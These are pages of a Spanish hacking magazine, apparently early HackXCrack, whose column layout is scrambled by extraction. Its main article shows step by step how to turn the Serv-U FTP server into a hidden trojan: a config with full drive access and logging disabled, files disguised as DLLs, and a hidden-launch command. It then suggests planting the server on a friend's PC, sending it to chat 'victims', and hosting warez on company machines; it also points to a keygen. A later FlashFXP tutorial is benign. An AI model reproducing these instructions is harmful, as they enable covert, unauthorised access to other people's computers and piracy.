  • 14. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k tener el software mas moderno podemos hacer mejor las cosas, de hecho es al contrario, las versiones avanzadas del Serv-U no nos dejaría hacer esto de una forma tan sencilla como lo vamos a hacer nosotros. AVANZANDO: Sobre los archivos de configuración. Suelen ser archivos de texto (aunque no necesariamente) que almacenan la configuración del programa por el que son llamados. En este caso, al ejecutar el amdset.exe pulsando dos veces sobre él, lo primero que hace el programa es intentar leer el archivo SERV-U.INI, pero como no lo encuentra pues lo crea él mismo. A medida que cambiamos opciones en la configuración del Ahora, en Setup --> FTP Server… Serv-U, estas se van añadiendo al SERV-U.INI • Ponemos el puerto que queramos Aquí quiero que os deis cuenta de algo muy (mejor uno por encima del 1024 y que no importante (especialmente quienes solo utilizáis sobrepase el 60000), por ejemplo el 2320. Windows y sus programas gráficos). La interfaz gráfica de un programa (en este caso el Serv-U) • Activamos el cuadro de selección os ofrece una serie de posibilidades, pero no Encrypt Passwords (el resto desactivados) suele ofreceros todas las opciones : Es decir, que • Desactivamos el Dir Caché (a la si solo utilizamos la parte gráfica de los derecha) y OK. programas estamos perdiendo (en muchos casos) una gran cantidad de opciones "ocultas"que solo podemos modificar "a mano" editando el archivo Ahora en el Menú Setup --> logging lo de configuración. desactivamos todo (no queremos que Para poder apreciar la importancia de esto, nada loggeen nuestra IP de una forma tan tonta mejor que echarle un vistazo a vuestro Windows. ¿verdad?) Pensad que Windows es como el Serv-U, lo que vemos es una un simple interfaz gráfico. Y su archivo de configuración es el registro de Windows, una especie de archivo de texto ADVERTENCIA: Sobre el "logging" (aunque con un formato especial) que guarda la Si dejamos activada esta opción, se creará configuración de nuestro sistema. Un simple un archivo de texto que guardará la IP del cliente cambio en el registro "a mano" puede hacer que que se conecte y otras cosas más, por lo tanto se inicien en vuestro equipo 50 programas (a debemos desactivarlo. Debemos tener mucho elegir) en modo oculto :) Y no encontrarás en la cuidado cuando iniciamos programas en equipos interfaz gráfica de Windows como activarlos o remotos, porque suelen "loggear" los accesos, desactivarlos… ¿vemos ahora la importancia de en este caso, como somos nosotros quienes saber distinguir entre "el programa" y su "interfaz "preparamos" el programa, podemos desactivar gráfica"? esta opción :) Bien, vamos a abrir el fichero de texto serv- Bien, pues ya está. Ahora vamos a la carpeta u.ini (de configuración) y a modificarlo un c:seru y miramos lo que hay. Veremos el poco. Lo abrimos con el Block de Notas de archivo del Serv-U (amdset.exe) y otro en Windows o cualquier otro procesador de textos formato texto (SERV-U.INI). No, no ha "plano", no seamos bestias y usemos Word aparecido como por arte de magia, es la ¿vale? Si, si, deja de reírte por favor, pero no configuración del Serv-U :) Si hemos elegido te imaginas los e-mail que nos llegan… no es esta versión del Serv-U es por algo, no por broma :) LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 4
  • 15. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k [GLOBAL] Access7=t:,RWAMCDLEP TryOut=Full Access8=s:,RWAMCDLEP Version=2.5.5.2 Access9=r:,RWAMCDLEP MaxNrUsers=-1 Access10=q:,RWAMCDLEP PortNr=2320 Access11=p:,RWAMCDLEP AntiHammer=FALSE Access12=o:,RWAMCDLEP AntiHammerWindow=30 Access13=n:,RWAMCDLEP AntiHammerTries=4 Access14=m:,RWAMCDLEP AntiHammerBlock=300 Access15=l:,RWAMCDLEP Security=OFF Access16=k:,RWAMCDLEP DirCacheEnable=NO Access17=j:,RWAMCDLEP DirCacheSize=25 Access18=i:,RWAMCDLEP DirCacheTime=600 Access19=h:,RWAMCDLEP LogGETs=OFF Access20=g:,RWAMCDLEP LogPUTs=OFF Access21=f:,RWAMCDLEP LogSystemMes=OFF Access22=e:,RWAMCDLEP LogSecurityMes=OFF Access23=d:,RWAMCDLEP LogFTPCommands=OFF Access24=c:,RWAMCDLEP LogFTPReplies=OFF LogIPNames=OFF Estas tres líneas las cambiaremos :) LogDirtyDetails=OFF StartIconic=Yes LogAccessDLL=OFF ShowToolBar=Yes LogFileGETs=OFF ShowBmpMenus=Yes LogFilePUTs=OFF LogFileSystemMes=OFF Y quedarán así: LogFileSecurityMes=OFF LogFileFTPCommands=OFF StartIconic=No LogFileFTPReplies=OFF ShowToolBar=No LogFileIPNames=OFF ShowBmpMenus=No LogFileDirtyDetails=OFF Con esto conseguimos ser un poco menos LogFileAccessDLL=OFF "llamativos". Logging=ON IPLog=0 StartIconic=Yes ADVERTENCIA: Una vez modificado el StartMaximized=No archivo de configuración de la forma ShowToolBar=Yes mencionada, en algunos sistemas sigue ShowBmpMenus=Yes apareciendo una advertencia respecto a la antigüedad del Serv-U. Para eliminar esta [USER=minidump] advertencia debemos registrar el programa, es Password=bmj4CV/eVvSIQ decir, comprarlo para que nos envíen una clave HomeDir=c: de registro. Pero como es antiguo no os lo darán, Access1=z:,RWAMCDLEP así que unos señores han hecho un keymaker Access2=y:,RWAMCDLEP (generador de números de registro). Lo encontrareis en WWW.ASTALAVISTA.COM Access3=x:,RWAMCDLEP (aprended a utilizar esa Web:). Recuerda que si Access4=w:,RWAMCDLEP registras el Serv-U de esta manera estás Access5=v:,RWAMCDLEP cometiendo un delito, pero nosotros debemos Access6=u:,RWAMCDLEP mostrarte todas las alternativas :)) LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 5
  • 16. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k Una vez pagues por el programa y os envíen duro o una partición D) NO podrás acceder a el código de registro (si es que lo consigues), esa unidad desde el Internet Explorer (bueno, abre el Serv-U, ves al Menú Help --> Register si pero no directamente, así que utiliza el Serv-U y pulsa Enter Key. Introduce el código, FlashFXP y verás que entonces SI consigues pulsa OK, reinicia el Serv-U y ya está registrado. acceso a todas las unidades). Para saber más sobre FXP mira el artículo FlashFXP en este mismo cuaderno. 7.-Ocultando el Serv-U 2.5e PARTE I 7.- Ocultando el Serv-U 2.5e PARTE II Bien, vamos a iniciar el Serv-U por línea de comandos para poder ocultarlo. Volvamos a nuestra carpeta c:seru y picamos Inicio --> Accesorios --> Símbolo del sistema el botón derecho sobre amdset.exe. Se abrirá <Nos aparecerá lo que denominamos Shell una ventana, miramos en atributos y marcamos del Sistema, una ventana en negro con un Archivo y Oculto. Hacemos lo mismo con cursor parpadeando que parece estar SERV-U.INI esperando nuestras instrucciones :)> A SABER: Cuando cambiamos el atributo de un archivo a Oculto, quizás desaparezca de tu vista :) Eso significa que tu Windows está muy mal configurado. Cualquier administrador o persona que se precie, al instalar un sistema deberá cambiar lo que sea necesario para poder VER y ACCEDER a TODO EL SISTEMA. Para poder ver los archivos Ocultos y de Sistema en Windows XP haced lo siguiente: - Ir a Inicio --> Panel de Control --> - Escribimos C: y pulsamos Enter (esto Opciones de Carpeta --> Pestaña - En Configuración Avanzada nos conduce a nuestro disco C:) * Marcar Mostrar todos los archivos y carpetas - Después escribimos cd seru y ocultos pulsamos Enter (esto nos hace entrar en el * Marcar Mostrar con otro color los archivos directorio seru). NTFS o comprimidos o cifrados - Después escribimos dir /a *.* y * Marcar Mostrar contenido de las carpetas de sistema pulsamos Enter (esto nos muestra todos los * Desmarcar Ocultar archivos protegidos del archivos que hay en c:seru incluidos los sistema del sistema operativo ocultos). * Desmarcar Ocultar las extensiones de archivo - Ahora escribimos amdset.exe -h y para tipos de archivos conocidos) pulsamos Enter. Ahora renombramos el amdset.exe a amdset.dll ¿Qué ha pasado? ¿nada? Pues te equivocas, (un buen nombre para ocultarlo ¿verdad?) estás ejecutando el Serv-U… ¿Qué no te lo ¿Qué ha pasado? Pues que hemos perdido el crees? Pues prueba a entrar, abre el navegador icono :) Si, si, ya se que ahora no es un exe y escribe y no puede ejecutarse… jeje, muy novato ftp://minidump:dumping@127.0.0.1:2320 tienes que ser para pensar eso :) Verás que tienes acceso a todo el disco C: Ojo, porque si tenéis una unidad D (un disco Antes de ejecutarlo (después te explico como) LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 6
  • 17. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k vamos a renombrar el SERV-U.INI a, por ejemplo, fastscsi.dll (je, je, a ver quien es el guapo que ve este archivo en su ordenador LA VOZ DEL SABER 1. Advertencia para y sospecha de él :). No te olvides de ponerle los Lamers: Hemos conseguido ocultar el Serv-U, ya no tenemos la propiedad de oculto (igual que hicimos con constancia visual de su existencia pero, por favor, el amdset.exe) no os creáis que esto es "el no va mas", permitidme que me ría y os diga que esto no deja de ser una Ya estamos preparados. Solo un apunte, el chapucilla ¿vale? Esto va para los lamercillos, esos Serv-U (ahora amdset.dll) necesita un archivo que se creen que ya han conseguido el nirvana a base de botellón y pastillas. Pues que te quede de configuración y por defecto llama al archivo claro: No has conseguido ocultar el proceso (aunque SERV-U.INI (eso ya lo comentamos ahora ya no se llama serv-u.exe), No has conseguido anteriormente). Pero ahora, si ejecutamos el ni mucho menos ocultarte de un netstat (faltaría amdset.dll, al no encontrar el archivo de mas, eso dista años luz de tus limitadas configuración llamado SERV-U.INI creará uno posibilidades), No has conseguido hacer desaparecer el amdset.dll (mediante por ejemplo nuevo llamado SERVU-INI… y eso no nos un "streaming" de archivo). Hay muchas maneras interesa. Así que vamos a iniciar el Serv-U de ocultar un archivo, no digamos ya usando (ahora amdset.dll) diciéndole que utilice como "rootkits" y demás, vamos, que no se te suban a la archivo de configuración el fastscsi.dll (nuestro cabeza las posibilidades que brinda este artículo, SERV-U.INI renombrado) :) y con una opción porque cualquier administrador con dos dedos de frente se te comerá vivo. especial -h que oculta el Servidor FTP. Abrimos La Consola de Windows (el SHELL LA VOZ DEL SABER 2: Advertencia para del sistema, Inicio --> Accesorios --> Símbolo los curiosos. del Sistema), vamos al directorio c: La curiosidad es la semilla de la genialidad, creo (escribimos c: y pulsamos Enter), entramos que el hombre seguiría a cuatro patas si nuestra en el directorio c:seru (escribimos cd seru raza no tuviese ese maravilloso instinto que es la curiosidad. Dicen que la curiosidad mató al y pulsamos Enter) y por ultimo escribimos la gato, pero el gato tiene siete vidas y el hombre siguiente instrucción: solo una, así que, se prudente y practica con lo start amdset.dll fastscsi.dll -h y pulsamos que te enseñemos sin hacer daño a nadie y con Enter. el único objetivo de aprender mas y mas y mas. Esto es el principio, el primer escalón de una infinita estela de escarpadas colinas, se prudente y ten paciencia, ya llegará el momento en que puedas saltar las montañas de tres en tres, por ahora sube peldaño a peldaño y empieza a ejercitar tus músculos… deja que los lamercillos se crean que pueden saltar precipicios, se mas listo que ellos y un día, verás como vuelas libre por encima de los cadáveres de miles de idiotas que se creyeron dioses. No pierdas nunca tu curiosidad, no pierdas nunca tu humildad y comparte tus conocimientos con los que son como Ya está, ya tenemos otra forma un poco más tú… dale la espalda a los soberbios e ignora a los que se regodean de sus conocimientos, porque elegante de hacer correr nuestro troyano. Por no hay nada más ridículo que un mono que se cierto, si eres curioso escribe start /? y pulsa cree sabio. Un abrazo a todos los curiosos!!! Enter, verás las posibilidades del comando start :) LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 7
  • 18. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k P.D. Dejamos para otro artículo el ocultamiento • Después vuelves a tu casa y te avanzado de archivos, el ocultamiento avanzado conectas al servidor que le has instalado a tu de conexiones y el "asentamiento" de procesos amigo igual que antes, es decir en el inicio del sistema. De hecho no lo dejamos ftp://minidump:dumping@127.0.0.1:2320 para otro artículo, sino para cientos de ellos, PERO en lugar de 127.0.0.1 debes poner la IP porque la lista de métodos y la explicación de tu amigo… ¿Cómo la consigues?... Sencillo, exhaustiva de los mismos ocuparían varias antes de abandonar su casa, desde la consola bibliotecas. escribes ipconfig /all y después de pulsar Es curioso, hoy en día hay bibliotecas de todo Enter te apuntas en un papel el número que tipo, incluso asociaciones que se dedican a aparece a la derecha de Dirección IP. Esa será traducir y almacenar hasta el último detalle la IP que deberás poner en lugar de 127.0.0.1 de temas tan inútiles (desde mi punto de vista) como "los famosos del cine" o "los amantes de Isabel la Católica"… en cambio no existe * Creando Dumps: (que yo sepa) ninguna "biblioteca del hack"… En el mundillo de los Grupos Warez (que se si, es verdad que hay muchos libros, miles de dedican a "compartir/piratear" software), se papers, infinitos documentos... pero no una llama Dump a la introducción de un Servidor organización que almacene, ordene, conserve FTP en un equipo remoto (por ejemplo en un y administre de forma adecuada esos recursos. ordenador de Microsoft) y a su activaciónde Algún día, todo llegará :) (eso espero). forma oculta tal y como os hemos enseñado :). ¿Qué ganamos con esto? Pues para empezar nos permite "updatar" 8.- Ideas: (subir) software a ese equipo y que otras personas puedan descargárselo. Es una manera de piratear todo tipo de archivos y, lo más * Infección Directa: importante, utilizando la conexión a Internet • Coges un disquete (de esos de toda del equipo remoto (normalmente una compañía la vida) y le copias el ejecutable y el INI (que con una buena conexión :) ahora se llaman amdset.dll y fastscsi.dll) Para poder "instalar" el Serv-U en un equipo remoto sobre el que no tenemos privilegios • Vas a casa de cualquier coleguilla y le hay que utilizar técnicas de hacking que ya copias los archivos en el directorio de Windows estudiaremos : (normalmente c:windows) o donde tú quieras. * Empaquetando: • Después le abres la consola y ejecutas Podemos meter los dos archivos del Serv-U el serv-u escribiendo: en un único ejecutable y junto a un par de Start amdset.dll fastscsi.dll -h. Esta modificaciones enviarlo por CHAT a posibles instrucción deberás ejecutarla desde la misma victimas e instarles a ejecutarlo :) carpeta donde le has introducido los archivos ¿vale? En caso de ser la carpeta c:windows, * Y mil cosas más :) Poco a poco :) antes deberemos ir al directorio c:windows en modo consola. Eso ya os lo hemos descrito antes. LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 8
  • 19. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k 9.- Resumen. Hemos aprendido a: - Instalar un Servidor FTP. - Diferenciar entre un Servidor FTP y un Cliente FTP; así como los programas a utilizar para cada caso. - La nomenclatura para el acceso a Servidores FTP. - La diferencia entre un programa, su interfaz gráfica y su configuración. - Algunos conceptos de IP y sus implicaciones. - Primeros intentos de FXP. - Ocultación simple de ficheros (cambio de nombre y propiedades). - Acceso al Shell del sistema (línea de comandos). - Ejecución del Serv-U por línea de comandos añadiendo fichero de configuración. - Ejecución del Serv-U con opciones (- h para la ocultación) - Ejecución de ficheros no ejecutables mediante el comando Start - Algunas cosas mas :) LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 9
  • 20. FLASHFXP: SIN LIMITE DE VELOCIDAD :) Importante: Aquellos que creen saber ya mucho sobre FTPs, que se lean este artículo. Aunque enseñamos a manejar el FlashFXP intercalaremos conceptos avanzados sobre el comportamiento de los Servidores FTP que difícilmente pueden encontrarse “comprensibles” en ningún otro sitio. Leed este artículo, no os defraudará!!! 1.- Introducción: 2.- Instalando el FlashFXP: En este mismo cuaderno hemos aprendido Una vez nos hemos bajado el FlashFXP a instalar un Servidor FTP y a acceder de la Web Oficial nos encontraremos con desde el navegador Internet Explorer. Esa un archivo tipo ffxp143.zip, por tanto lo no es precisamente la mejor manera de descomprimiremos y ejecutaremos el acceder a un Servidor FTP, para explotar setup.exe, que se instala como cualquier las posibilidades que nos brinda el Protocolo otro programa de Windows : En nuestro FTP debemos utilizar un Cliente de FTP caso le indicaremos como carpeta de que esté a la altura de las circunstancias. instalación c:fxp Ese cliente será el Flash FXP (corre y bájatelo de su Web oficial Bien, pues una vez instalado vamos a www.flashfxp.com). c:fxp y ejecutamos flashfxp.exe, con lo que nos aparecerá una ventana Este cliente permite hacer prácticamente advirtiéndonos de la temporalidad de de todo, por eso lo hemos escogido. Y nuestra licencia. Esperamos a que el permite hacer cosas que un simple Cliente contador acabe y pulsamos Continue, de FTP no puede hacer: FXP (transferencia con lo que finalmente estaremos ante la directa de archivos entre servidores). pantalla principal de FlashFXP. Zona 1 Zona 2 Zona 3 Zona 4 LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 2 0
  • 21. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k Pasamos a describir las ZONAS: • Pulsamos el botón derecho del ratón sobre cualquier parte libre de la Zona 1 y * La Zona 1 nos mostrará el contenido de seleccionamos Make Folder (crear nuestro Disco Duro (por defecto el directorio). directorio donde hemos instalado el FlashFXP). Podemos navegar desde esta • Se abrirá una ventana donde sección por todos nuestros Discos así como introduciremos el nombre de la carpeta crear directorios, copiar archivos, etc. que queremos crear, en este caso Cuando hagamos FXP en lugar de MICROSOFT y pulsamos OK mostrarnos nuestros archivos mostrará los archivos del segundo Servidor FTP (ahora • Podemos ver como aparece esa nueva lo veremos). carpeta en la Zona 1, pues entramos dentro pulsando dos veces sobre ella (con el * La Zona 2 nos mostrará el contenido del botón izquierdo del ratón) Servidor FTP al que nos conectemos. Ahora vamos a conectar nuestro Cliente * La Zona 3 nos mostrará información de FTP al Servidor de FTP de Microsoft :) "lo que está pasando", es decir, comandos de control, información sobre las • Seleccionamos la Zona 2 pulsando con transferencias, etc. Es muy importante el botón izquierdo del ratón en cualquier que nos familiaricemos con esta sección sitio de ella. :) • Menú Sites --> Site Manager y * La Zona 4 es donde se almacena el aparecerá una ventana donde "trabajo". Cuando demos la orden de bajar gestionaremos los Servidores a los que 50 archivos de un Servidor FTP, veremos nos conectaremos. como "aparecen" en esta zona. El FlashFXP no los intenta bajar todos de golpe, sino • Pulsamos New Site, introducimos el uno a uno siguiendo la lista. nombre (en este caso MICROSOFT) y pulsamos OK. 3.- El FlashFXP: • Cumplimentamos los Datos de Acceso En la Zona 1 podemos ver los archivos de (a la derecha): nuestro disco duro situados en la carpeta c:fxp, es decir, donde hemos instalado - Site Name: Os aparecerá el FlashFXP. Como no queremos que los MICROSOFT, puesto que lo acabamos de archivos que "pillemos" de otros equipos introducir en la ventana anterior. Es para se nos junten con los nuestros vamos a vuestra referencia, no influye en la crear una carpeta llamada MICROSOFT conexión. en la Zona 1 (nuestro Disco Duro) donde meteremos todo lo que bajemos. - IP Address: Aquí podemos poner la dirección del servidor remoto. En este LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 2 1
  • 22. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k caso ftp.microsoft.com (ya explicaremos pues introduciríais esa ruta y directamente este nombre en profundidad mas abajo) aparecería ante nosotros la lista de archivos :), ya avanzaremos también sobre eso). - Port: Lo dejaremos en 21, que suele ser el puerto por defecto seleccionado - Notes: Muy útil, es para que por los Servidores FTP comerciales. podáis apuntar comentarios sobre el Servidor, por ejemplo claves para - User Name y Password: Lo directorios ocultos y todo lo que queramos dejamos sin rellenar pero activamos el :) cuadro de selección anonymous. Mas adelante explicaremos las consecuencias de esto :) • Pulsamos Connect y la ventana se - Remote Path: Lo dejamos en cerrará dejándonos ante el FlashFXP. En blanco, así apareceremos en el directorio la Zona 2 aparecerán las carpetas y por defecto que nos ofrezca el Servidor archivos del Servidor FTP de Microsoft. En FTP de Microsoft. (Si alguien os "chivase" la Zona 3 veremos los comandos que se un directorio oculto con "programas gratis", han realizado durante la conexión. LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 2 2
  • 23. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k disco duro) a la Zona 2 (el Servidor FTP de Microsoft), veremos que en la Zona 3 A tener en cuenta 1. sale un error. Eso es debido a que Microsoft Si en algún momento perdemos la ha configurado su Servidor FTP para no conexión (desaparecen todas las carpetas de la Zona 2) podemos volver a conectaros: Sites -- admitir la subida de archivos (opción Write > Site Manager --> Seleccionamos Microsoft y ya vista en el artículo del Serv-U) pulsamos CONNECT (abajo a la derecha) - Creando carpetas: Botón derecho La desconexión se puede producir por mil cosas, sobre la Zona 2 y selecciona Make Folder pero la mas común en el caso de Servidores FTP es por la propia configuración del mismo. En (crear directorio), verás que no te deja concreto la que hace referencia a IDLE TIME por el motivo antes mencionado. Recuerda OUT. que tu si puedes crear directorios en la Ejecutamos nuestro Serv-U y vamos al menú Setup --> Users --> Pulsamos el Boton MISC Zona 1, puesto que es tu propio Disco (arriba a la derecha) y en la línea 8 nos Duro. encontramos con la opción Idle Time Out. Esta - Bueno, tu mismo, experimenta :) opción nos permite introducir un número e indica los minutos que el Servidor tardará en expulsarnos (desconectarnos) en caso de que nuestra actividad sea nula. Es decir, que una vez conectados al Servidor debemos movernos entre sus carpetas y/o bajarnos archivos para 5.- AVANZANDO (que no que no seamos desconectados. avanzado)… Ahora haremos un ejercicio interesante. 4.- Afianzándonos con el FlashFXP Activaremos dos Servidores de FTP en nuestro equipo y accederemos a ellos a Experimentemos un poco: través del Flash FXP, también intentaremos - Navegando por el Servidor FTP de hacer FXP: (transferencia de archivos Microsoft: Vamos pulsando sobre las directamente entre servidores). Recordad carpetas hasta encontrar archivos, es como que hasta ahora hemos transferido archivos navegar por nuestro propio disco duro, no entre un Servidor FTP y nuestro equipo, necesita mas explicaciones. Por cierto, ya es hora de hacer transferencias para volver al nivel de carpetas anterior directamente entre dos Servidores. debemos pulsar sobre Parent Directory. - Bajando archivos: Pues muy fácil, Recordad (ya se expuso esto en el artículo pulsamos el botón izquierdo del Mouse del Serv-U): Cuando accedemos a un sobre un archivo de la Zona 2 y sin soltar Servidor FTP, estamos accediendo a un arrastramos a la Zona 1. Soltamos y Servicio de RED. No importa que este empieza la descarga. Podemos arrastrar servicio lo ofrezca Microsoft desde Estados tanto carpetas como archivos, si Unidos o lo ofrezcamos nosotros desde arrastramos una carpeta se copiará a nuestro propio ordenador, a efectos de nuestro disco todo el contenido de la RED estamos accediendo a Servicios de misma. - Subiendo archivos: Intenta arrastrar un archivo de la Zona 1 (nuestro LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 2 3
  • 24. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k RED y el Flash FXP así lo interpreta. Repito permisos, eliminamos el usuario por defecto esta sentencia porque cuando traspasemos y le añadimos uno nuevo con el nombre archivos desde uno de nuestros Servidores FTP3000 y password 3000. FTP (instalado en nuestro equipo) a otro Servidor FTP (instalado también en nuestro - Reiniciamos los servidores (recordad, el equipo), para el Flash FXP es como si lo botón del rayo). hiciésemos entre dos servidores situados en distintos países. En la Zona 1 y en la Ahora tenemos dos Servidores FTP Zona 2 ya no tendremos nuestro disco iniciados en nuestro equipo, cada uno en duro, sino archivos y carpetas situados un puerto distinto. Muy bien, pues iniciamos e n S e r v i d o r e s F T P : ) A h o ra l o el FlashFXP y creamos los accesos a comprenderemos mejor mientras hacemos nuestros servidores: esta interesante práctica (por cierto, si no leíste y asimilaste el artículo "Tu - Vamos al menú Sites --> Site Manager Primer Servidor FTP" no podrás --> New Site y escribimos FTP2500. seguir esta práctica). - A la derecha completamos los datos de - Creamos en el disco C: cuatro directorios acceso a nuestro FTP2500. llamados FTP2500, FTP3000, FTPEJERCICIO2500 Y FTPEJERCICIO3000. * IP Address: 127.0.0.1 (o cualquiera de las IP que aparecen - Metemos una copia del Serv-U en en el Serv-U al iniciarse. FTP2500 y otra copia en FTP3000 * Port: 2500. - Iniciamos el Serv-U de la carpeta FTP2500 y lo configuramos en el puerto 2500, le * Deseleccionamos el cuadro de permitimos Bounce Attack (dejamos el Anonymous. cuadro de selección desactivado) y le damos como Home Directory C: y * User Name: FTP2500. como File/Directoy access rules C:FTPEJERCICIO2500 con todos los * Password: 2500. permisos, eliminamos el usuario por defecto y le añadimos uno nuevo con el nombre - Pulsamos Apply y después New Site y FTP2500 y password 2500. escribimos FTP3000. - Iniciamos el Serv-U de la carpeta FTP3000 - A la derecha completamos los datos para y lo configuramos en el puerto 3000, le acceder a nuestro FTP3000. permitimos Bounce Attack (dejamos el cuadro de selección desactivado) y le * IP Address: 127.0.0.1 (o damos como Home Directory C: y como cualquiera de las IP que aparecen File/Directoy access rules en el Serv-U al iniciarse. C:FTPEJERCICIO3000 con todos los LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 2 4
  • 25. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k Activando esta casilla, lo que hacemos es impedir Ahora subimos a nuestro Servidor FTP2500 ese comportamiento. Esto es positivo en caso unos cuantos archivos de nuestro disco de poner el Servidor FTP al servicio de terceros, porque eso impide que un cliente utilice nuestro duro (recordad, en la Zona 1 tenemos Servidor como "pasarela de datos". acceso a nuestro disco duro). Nos fijaros Desactivando esta casilla permitiremos el FXP, que los archivos que arrastramos desde esto es positivo en caso de ser únicamente la Zona 1 a la Zona 2 deben introducirse nosotros quienes tengamos acceso al Servidor FTP. dentro de la carpeta FTPEJERCICIO2500, pues es la única para la cual hemos determinado accesos. Ahora nos * Port: 3000. desconectamos de nuestro Servidor pulsando sobre el icono azul situado sobre * Deseleccionamos el cuadro de la Zona 2 (si pasamos el Mouse por encima Anonymous. aparece disconnect). Finalmente nos conectamos a nuestro Servidor FTP3000 * User Name: FTP3000. (repetimos) y updatamos unos cuantos archivos (repetimos) y nos desconectamos * Password: 3000. (repetimos). - Pulsamos Apply y después Close. Ya estamos preparados para la prueba : Bien, ahora pulsamos sobre la Zona 2 del - Pulsamos sobre la Zona 2 y nos FlashFXP y nos conectamos al servidor conectamos a nuestro F TP2500. FTP2500 (Sites --> Site Manager --> Seleccionamos a la izquierda FTP2500 y - Pulsamos sobre la Zona 1 y OJO!!! pulsamos Connect). En la Zona 3 del Serv- Pulsamos sobre el icono que saca el U deberíamos ver unos cuantos mensajes mensaje Switch to FTP Browser, esto hace (echamos un vistazo) confirmando el que desaparezcan los archivos de nuestro acceso y en la Zona 2 debería aparecernos disco duro en la Zona 1, en realidad nos la lista de carpetas disponibles. prepara la Zona 1 para que pueda conectarse a cualquier otro Servidor FTP Nos fijamos que la Ruta de Acceso Inicial :) (Home Directory) es /c:/ --> Tal como configuramos el Serv-U en la opción Home - Pues bien, menú Sites --> Site Directory //Podéis verlo arriba de la Zona Manager --> Seleccionamos FTP3000 y 2// Connect. Nos fijamos que a pesar de que en nuestro disco duro C: hay muchas mas carpetas, en Ya estamos conectados a dos Servidores la Zona 2 solo vemos una llamada FTP al mismo tiempo. Recordad que updatamos archivos a cada carpeta en los FTPEJER CICIO2500 --> Tal como pasos anteriores ¿verdad? Pues ahora configuramos el Serv-U en la opción entrad en las carpetas FTPEJERCICIO3000 File/Directoy access rules. LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 2 5
  • 26. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k (Zona 1) y FTPEJERCICIO2500 (Zona 2) hasta que os salgan callos en los dedos y y arrastrad archivos de un servidor a otro en el cerebro. (de la Zona 1 a la Zona 2 y a la inversa). Lo que estamos haciendo es mover archivos de un Servidor FTP a otro Servidor FTP, es decir, estamos haciendo FXP :) 6.- Accediendo a nuestro Troyano :) Como ya os comentamos en el artículo anterior, la verdadera potencia está en Inicia el Servidor que preparamos para poder conectarnos a dos Servidores FTP actuar de troyano y conéctate mediante situados en Países distintos con líneas de el FlashFXP. Podemos ver que sólo conexión a Internet rápidas y poder mover tenemos acceso al disco C: ¿verdad? :) datos entre ellos a gran velocidad desde Intenta subir de directorio pulsando sobre nuestra casa y un MODEM de 28800 :) Parent Directory, nada de nada ¿verdad? Porque los datos no pasan por nuestro ¿pero no habíamos configurado acceso a ordenador, simplemente emitimos todos los discos duros? ¿por qué no ordenes a otros servidores para que se podemos salir del directorio C:? pasen datos entre ellos. Recuerda que pusimos como Home Haced mas pruebas: Directory C: y como File/Directory parent rules todas las letras del • Por ejemplo conectaros en la Zona abecedario. Home Directory es donde 1 al Servidor FTP de Microsoft y en la Zona aparecemos nada mas acceder al Servidor, 2 conectaros a uno de los vuestros, en teoría no deberíamos poder remontar veremos como es imposible hacer FXP, directorios, pero gracias a nuestra especial puesto que el Servidor FTP de Microsoft configuración :) sólo tenemos que poner tiene activada la opción de Bounce Attack. D: en el Folder Bookmarks (sobre Parent Directory) y pulsar Return :) Aquí tenemos • Desactivad en uno de vuestros la 